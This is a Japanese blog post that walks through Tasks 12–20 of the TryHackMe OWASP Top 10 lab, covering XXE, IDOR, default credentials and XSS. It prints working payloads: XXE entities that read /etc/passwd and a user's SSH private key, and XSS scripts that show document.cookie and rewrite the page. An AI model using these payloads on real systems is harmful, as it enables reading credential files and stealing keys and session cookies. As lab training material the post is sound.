みんな大好きOWASPルームの続き
前の記事
- Task 12 [Severity 4] XML External Entity
- Task 13 [Severity 4 XML External Entity – eXtensible Markup Language
- Task 14 [Severity 4] XML External Entity – DTD
- Task 15 [Severity 4] XML External Entity – XXE Payload
- Task 16 [Severity 4] XML External Entity – Exploiting
- Task 17 [Severity 5] Broken Access Control
- Task 18 [Severity 5] Broken Access Control (IDOR Challenge)
- Task 19 [Severity 6] Security Misconfiguration
- Task 20 [Severity 7] Cross-site Scripting
- Deploy the VM
- Navigate to http://MACHINE_IP/ in your browser and click on the “Reflected XSS” tab on the navbar; craft a reflected XSS payload that will cause a popup saying “Hello”.
- On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.
- Then add a comment and see if you can insert some of your own HTML.
- On the same page, create an alert popup box appear on the page with your document cookies.
- Change “XSS Playground” to “I am a hacker” by adding a comment and using Javascript.
Task 12 [Severity 4] XML External Entity
No answer needed
XXE攻撃の説明。
XMLを外部から受け取るページは、外部実態参照の形でWEBサーバ内部のファイルなどを不正に取り込られてしまうことがある。DoS攻撃とか他のこともできる。
XXE攻撃には in-band と out-of-band (OOB-XXE)がある。
Task 13 [Severity 4 XML External Entity – eXtensible Markup Language
XMLとはなんぞや?みたいな話。
そういや私10年以上まえにXMLマスターという資格をとったことがあるんですよ、びっくりするほど意味がなかったけど、ここで少しだけ役に立った。
Full form of XML
eXtensible Markup Language
Is it compulsory to have XML prolog in XML documents?
No
Can we validate XML documents against a schema?
Yes
How can we specify XML version and encoding in XML document?
XML Prolog
Task 14 [Severity 4] XML External Entity – DTD
XMLのDTDとは何か?という話。前フリが丁寧(長い)
DTDはDocumentTypeDefinitionの略です。DTDはXML文書の構造を定義するために書くやつです。
参考にさせていただいた
How do you define a new ELEMENT?
!ELEMENT
How do you define a ROOT element?
!DOCTYPE
How do you define a new ENTITY?
!ENTITY
Task 15 [Severity 4] XML External Entity – XXE Payload
Try the payload mentioned in description on the website.
No answer needed
ためしてみよう!的な話。
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>

今後参考になりそうなチートシートをみつけたので貼っておく
Task 16 [Severity 4] XML External Entity – Exploiting
Try to display your own name using any payload.
No answer needed
自分の名前を表示してみよう、ってwhoamiを実行する的な意味かと誤訳して時間を無駄にした。(英語がんばりましょう)
こういうことか…
<!DOCTYPE replace [<!ENTITY name "zou"> ]> <userInfo> <firstName>nomi</firstName> <lastName>&name;</lastName> </userInfo>

See if you can read the /etc/passwd
No answer needed
さっき読んじゃった。
What is the name of the user in /etc/passwd
結果より
falcon
ブラッディ・マンデイを連想する
Where is falcon’s SSH key located?
ファルコンって言っちゃったよ。前問はなんだったんだ。
一般的にSSHのキーはユーザーのホームディレクトリ直下の.sshフォルダの中
/home/falcon/.ssh/id_rsa
What are the first 18 characters for falcon’s private key
今までのペイロードを改変。
<?xml version="1.0"?> <!DOCTYPE root [<!ENTITY read SYSTEM 'file:///home/falcon/.ssh/id_rsa'>]> <root>&read;</root>

MIIEogIBAAKCAQEA7
Task 17 [Severity 5] Broken Access Control
No answer needed
認可の検証がちゃんとできていないと見えちゃいけないものが見えちゃうことがあるよ。URLちょっといじったら見えちゃうとか、あるあるだから気をつけようねって話。
Task 18 [Severity 5] Broken Access Control (IDOR Challenge)
ユーザー検証の脆弱性をIDORと呼ぶ(知らんかった。CTFだとよくやるやつ)パラメータを変えるだけで誰かの口座情報がみえるなどの例。
Read and understand how IDOR works.
No answer needed
Deploy the machine and go to http://MACHINE_IP – Login with the username being noot and the password test1234.
No answer needed
アクセスします。

Look at other users notes. What is the flag?
noteパラメータを変更する。

ブラグの意味がよくわからん
Task 19 [Severity 6] Security Misconfiguration
セキュリティの設定ミス。
- S3バケットなどのクラウドサービスに対する不適切に構成されたアクセス許可
- サービス、ページ、アカウント、特権などの不要な機能を有効にする
- パスワードが変更されていないデフォルトのアカウント
- 攻撃者がシステムについて詳しく知ることができるエラーメッセージ
- HTTPセキュリティヘッダーを使用していない
こういうことがあると攻撃の足がかりになるよ。って話。
とくに今回はDefault Passwordsについてやるよ。
Deploy the VM
No answer needed
Hack into the webapp, and find the flag!
アクセスしたものの…ユーザー名もパスワードもわからなくてファッ?となる。

あっさりヒントみると
Can you find the app's source code? Maybe the documentation gives you default credentials that you can try.
多分これはオープンソースのCMSかなにかで、どこかにデフォルトのIDとパスワードが落ちてると予想。ぐぐる。
あった。
Using PensiveNotes
After downloading and compiling PensiveNotes, log in using the default credentials pensive:PensiveNotes
Make sure you change this password immediately!
ログインできた。初期パスワードは変えましょう。

thm{4b9513968fd564a87b28aa1f9d672e17}
Task 20 [Severity 7] Cross-site Scripting
XSSの話。XSS脆弱性は好きだなあ(成果がわかりやすいから)
XSSの攻撃用スクリプトがどこにあるかによって、反射型・持続型がある。あとDOMベースっていうのもある。
詳しいことは徳丸本とか読むのがよさそう。
便利サイトのご紹介
Deploy the VM
No answer needed
Navigate to http://MACHINE_IP/ in your browser and click on the “Reflected XSS” tab on the navbar; craft a reflected XSS payload that will cause a popup saying “Hello”.
「Hello」と表示するXSSを実行する

まあ多分いろんなやり方があるんだろうけど
<script>javascript:alert(’Hello’);</script>

こういうときに便利なページ
On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.
自分のパソコンのIPアドレス???と誤読して混乱したけど、ヒントを見たらデプロイしたマシンのホスト名で良いらしかった。英語難しい。
<script>javascript:alert(window.location.hostname);</script>


次はStored XSSの画面へいってアカウントを作成する
Then add a comment and see if you can insert some of your own HTML.
HTMLが使えるかの確認。こういうときはなんとなく <hr>
タグを使ってしまう(短くて楽だから)
<hr>

On the same page, create an alert popup box appear on the page with your document cookies.
やることは今までと一緒。ベスト・キッドと思って繰り返す。
<script>alert(document.cookie);</script>

Change “XSS Playground” to “I am a hacker” by adding a comment and using Javascript.
XSS Playgroundって何かとおもったらサイト名だった(ちゃんと見て)
サイト名のところのID名を調べる

thm-title
だということがわかる。
というわけでこう
<script>document.querySelector('#thm-title').textContent = 'I am a hacker'</script>

こちらを参考にさせていただいた
タスク20まで終わったのでまた切ります。もう少しだけ続くんじゃ!